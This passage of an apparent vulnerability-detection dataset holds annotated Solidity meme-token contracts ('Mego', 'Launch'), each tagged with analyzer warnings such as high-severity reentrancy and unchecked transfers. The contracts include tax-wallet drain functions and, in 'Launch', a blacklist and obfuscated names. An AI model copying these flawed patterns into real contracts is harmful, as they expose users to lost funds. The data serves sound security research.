8fe2678\n\t\t// reentrancy-eth | ID: 04032c4\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a5219b3\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 04032c4\n tradingOpen = true;\n }\n\n function setTax(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10119.sol",
"size_bytes": 20575,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Mego is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 09826e1): Mego._taxWallet should be immutable \n\t// Recommendation for 09826e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 343c0a5): Mego._finalBuyTax should be constant \n\t// Recommendation for 343c0a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0625b81): Mego._finalSellTax should be constant \n\t// Recommendation for 0625b81: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mego\";\n\n string private constant _symbol = unicode\"MEGO\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 125aca3): Mego._taxSwapThreshold should be constant \n\t// Recommendation for 125aca3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0b86ee): Mego._maxTaxSwap should be constant \n\t// Recommendation for a0b86ee: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e90f04): Mego.caBlockLimit should be constant \n\t// Recommendation for 4e90f04: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fa561b): Mego.caLimit should be constant \n\t// Recommendation for 5fa561b: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 68fb630): Mego.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 68fb630: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 55da66c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 55da66c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 183b01d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 183b01d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 55da66c\n\t\t// reentrancy-benign | ID: 183b01d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 55da66c\n\t\t// reentrancy-benign | ID: 183b01d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc3ffae): Mego._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc3ffae: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 183b01d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 55da66c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1b037a2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1b037a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7083aa3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7083aa3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 786bdf0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 786bdf0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 1b037a2\n\t\t\t\t// reentrancy-eth | ID: 7083aa3\n\t\t\t\t// reentrancy-eth | ID: 786bdf0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1b037a2\n\t\t\t\t\t// reentrancy-eth | ID: 7083aa3\n\t\t\t\t\t// reentrancy-eth | ID: 786bdf0\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 786bdf0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 786bdf0\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 1b037a2\n\t\t\t\t// reentrancy-eth | ID: 7083aa3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1b037a2\n\t\t\t\t\t// reentrancy-eth | ID: 7083aa3\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7083aa3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1b037a2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7083aa3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7083aa3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1b037a2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1b037a2\n\t\t// reentrancy-events | ID: 55da66c\n\t\t// reentrancy-benign | ID: 183b01d\n\t\t// reentrancy-eth | ID: 7083aa3\n\t\t// reentrancy-eth | ID: 786bdf0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a41af3f): Missing events for critical arithmetic parameters.\n\t// Recommendation for a41af3f: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: a41af3f\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: a41af3f\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: a41af3f\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: a41af3f\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: a41af3f\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 80126f9): Mego.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 80126f9: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 80126f9\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1b037a2\n\t\t// reentrancy-events | ID: 55da66c\n\t\t// reentrancy-eth | ID: 7083aa3\n\t\t// reentrancy-eth | ID: 786bdf0\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e25cdc8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e25cdc8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 800d052): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 800d052: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c5d46df): Mego.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c5d46df: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dc22a23): Mego.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for dc22a23: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 882f726): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 882f726: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e25cdc8\n\t\t// reentrancy-benign | ID: 800d052\n\t\t// reentrancy-eth | ID: 882f726\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 800d052\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 800d052\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e25cdc8\n\t\t// unused-return | ID: c5d46df\n\t\t// reentrancy-eth | ID: 882f726\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e25cdc8\n\t\t// unused-return | ID: dc22a23\n\t\t// reentrancy-eth | ID: 882f726\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e25cdc8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 882f726\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: e25cdc8\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1012.sol",
"size_bytes": 22084,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ee26596): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for ee26596: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: ee26596\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Launch is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint256 private constant _x0xPWLY8147 = 0x123456;\n\n uint256 private constant _x0xHRJQ9325 = 0xABCDEF;\n\n\t// WARNING Optimization Issue (constable-states | ID: bcdc946): Launch.blacklistCount should be constant \n\t// Recommendation for bcdc946: Add the 'constant' attribute to state variables that never change.\n uint256 public blacklistCount = 20;\n\n uint256 public currentBuyCount = 0;\n\n mapping(address => bool) private initialBuyers;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c6b4ed7): Launch._taxWallet should be immutable \n\t// Recommendation for c6b4ed7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b281a5d): Launch._0xFRXZ6981 should be constant \n\t// Recommendation for b281a5d: Add the 'constant' attribute to state variables that never change.\n uint256 private _0xFRXZ6981 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 40040d9): Launch._x3LPYQ4027 should be constant \n\t// Recommendation for 40040d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _x3LPYQ4027 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bffef7): Launch._x7BWMJN should be constant \n\t// Recommendation for 9bffef7: Add the 'constant' attribute to state variables that never change.\n uint256 private _x7BWMJN = 0;\n\n uint256 private _x5HTYL8039 = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0a326d): Launch._x2JVZR759 should be constant \n\t// Recommendation for a0a326d: Add the 'constant' attribute to state variables that never change.\n uint256 private _x2JVZR759 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5dc8596): Launch._xGWQY18 should be constant \n\t// Recommendation for 5dc8596: Add the 'constant' attribute to state variables that never change.\n uint256 private _xGWQY18 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb4140b): Launch._x1LQTR4V2 should be constant \n\t// Recommendation for cb4140b: Add the 'constant' attribute to state variables that never change.\n uint256 private _x1LQTR4V2 = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _x5YBXR9T3 = (_tTotal * 2) / 100;\n\n uint256 public _x0FKWP6L7 = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c46393): Launch._x6RPZQK1 should be constant \n\t// Recommendation for 8c46393: Add the 'constant' attribute to state variables that never change.\n uint256 public _x6RPZQK1 = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ada8ec): Launch._maxTaxSwap should be constant \n\t// Recommendation for 7ada8ec: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private x3NVWPH9 = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _x5YBXR9T3);\n\n modifier lockTheSwap() {\n x3NVWPH9 = true;\n\n _;\n\n x3NVWPH9 = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n event ChecksumEvent(uint256 indexed dummyness0xELYP7493);\n\n function checksum0xCVXT5219() private pure {}\n\n function checksum0xDZQM4068() private pure {}\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f15cef3): Launch.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f15cef3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c4ae8d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c4ae8d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9a93139): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9a93139: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9c4ae8d\n\t\t// reentrancy-benign | ID: 9a93139\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9c4ae8d\n\t\t// reentrancy-benign | ID: 9a93139\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 091b8d8): Launch._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 091b8d8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8bc14d2\n\t\t// reentrancy-benign | ID: 9a93139\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9c4ae8d\n\t\t// reentrancy-events | ID: 5d23875\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a < b) ? a : b;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 04f6fad): 